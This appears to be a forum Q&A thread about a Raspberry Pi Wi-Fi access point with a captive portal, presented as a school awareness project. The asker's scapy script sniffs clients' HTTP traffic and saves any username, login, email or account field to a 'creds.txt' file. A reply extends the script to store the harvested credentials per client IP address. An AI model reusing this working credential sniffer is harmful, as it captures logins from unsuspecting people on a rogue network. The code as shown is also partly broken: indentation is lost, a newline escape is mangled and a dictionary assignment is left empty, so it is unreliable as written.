Styjun

I need help with an issue in regards to a school project i'm doing. Setting up a Raspberry Pi as wireless access point running a captive portal where we want to warn users of dangers of using public WiFi. Goal is to sniff all email addresses entered over HTTP, and collect these in a file or db that differentiates between the clients for later extraction.

When the user is authenticated with an email-address, a python script running scapy extracts all packets on wlan1 (running the AP) that contain an email-address and stores these emails to a text file (this is working).

I want the sniffer to store all the emails going through, but I need to separate where the information is stored, so that email-addresses entered from client using IP 10.0.0.10 gets stored in one place, and all emails coming from client using IP 10.0.0.20 is stored separately. At the end of session I want to extract all emails entered by given IP, and email this list to them using the email-address they originally entered in the captive portal.

I'm not very comfortable with databases or PHP, and i'm not sure how I could solve this problem best. So any ideas or input would be greatly appreciated.

For now, the sniffer appends all email-addresses going over the interface into a single text-file called "creds.txt". Problem with this is that there is no way to know which client entered what value.

sniffer.py:

from scapy.all import *
import re

def get_credentials(source):
 username = None
 userfields = ['username', 'user', 'name', 'login', 'nickname', 'userfield', 'login-name', 'log',
 "email", "login-id", 'user-name', 'userID', 'userid', 'user-id', 'login_name', 'login-name', 'login-user', 'login_user', 'account', 'acc-name',
 "account-user", "account-name"]

 for login in userfields:
 user = re.search('(%s=[^&]+)' % login, source, re.IGNORECASE)
 if user:
 username = user.group()

 if username != None:
 return username

def ctp(pkt):
 if pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP):
 mains = str(bytes(pkt[TCP].payload))
 source = str(pkt[TCP].payload)
 creds = get_credentials(source)
 if creds != None:
 print(creds)
 with open("creds.txt", 'a+') as uf:
 uf.write(str(creds))
 uf.write('n')
 else:
 pass

print('[+] SNIFFING! Storing emails in creds.txt. ')
sniff(iface="wlan1", prn=ctp, store=0) # lo is my Local Loopback interface

I want emails sniffed by different clients to be separated for later extraction based on some identifier of the client.
It does not have to be done within the python sniffer necessarily, but not sure how it could be done with html or javascript

What is the number of users that you want to handle?

I assume that you also send the mail with the same python code.

If the number of users is not too much and that all data fits into RAM (which is quite small on a Raspberry Pi), I would take the simple road and create a dictionnary with the client identifier as a key.

As suggested by @Cukic0d, you could take the source IP as the identifier. It would have a structure like this:

 "1.2.3.4": ["john1@doe.com", "john2@doe.com", "toto@tata.net"],
 "10.12.43.34": ["test1@doe.com", "hey@jude.com", "spam@me.net"],

The modified code (not tested):

from scapy.all import *
import re

def get_credentials(source):
 username = None
 userfields = ['username', 'user', 'name', 'login', 'nickname', 'userfield', 'login-name', 'log',
 "email", "login-id", 'user-name', 'userID', 'userid', 'user-id', 'login_name', 'login-name', 'login-user', 'login_user', 'account', 'acc-name',
 "account-user", "account-name"]

 for login in userfields:
 user = re.search('(%s=[^&]+)' % login, source, re.IGNORECASE)
 if user:
 username = user.group()

 if username != None:
 return username

def ctp(pkt):
 global harvested_credentials

 if pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP):
 mains = str(bytes(pkt[TCP].payload))
 source = str(pkt[TCP].payload)
 creds = get_credentials(source)

 ip_src = pkt[IP].src # Identifier
 if creds != None:
 print(creds)

 # If IP Src is new, we create the item
 if ip_src not in harvested_credentials:
 harvested_credentials[ip_src] = []

 # Adding the credentials for this identifier
 harvested_credentials[ip_src].append(creds)
 else:
 pass

# The dictionary to store harvested credentials
harvested_credentials = 

print('[+] SNIFFING! Storing emails in creds.txt. ')
sniff(iface="wlan1", prn=ctp, store=0) # lo is my Local Loopback interface

Then when it is mail sending time, you iterate over the list to build the email then you remove the dict key with del statement: del harvested_credentials[ip]

If ever you don't use the same code to generate the email than to harvest the email, you can save the dict as json file and import it in the sending code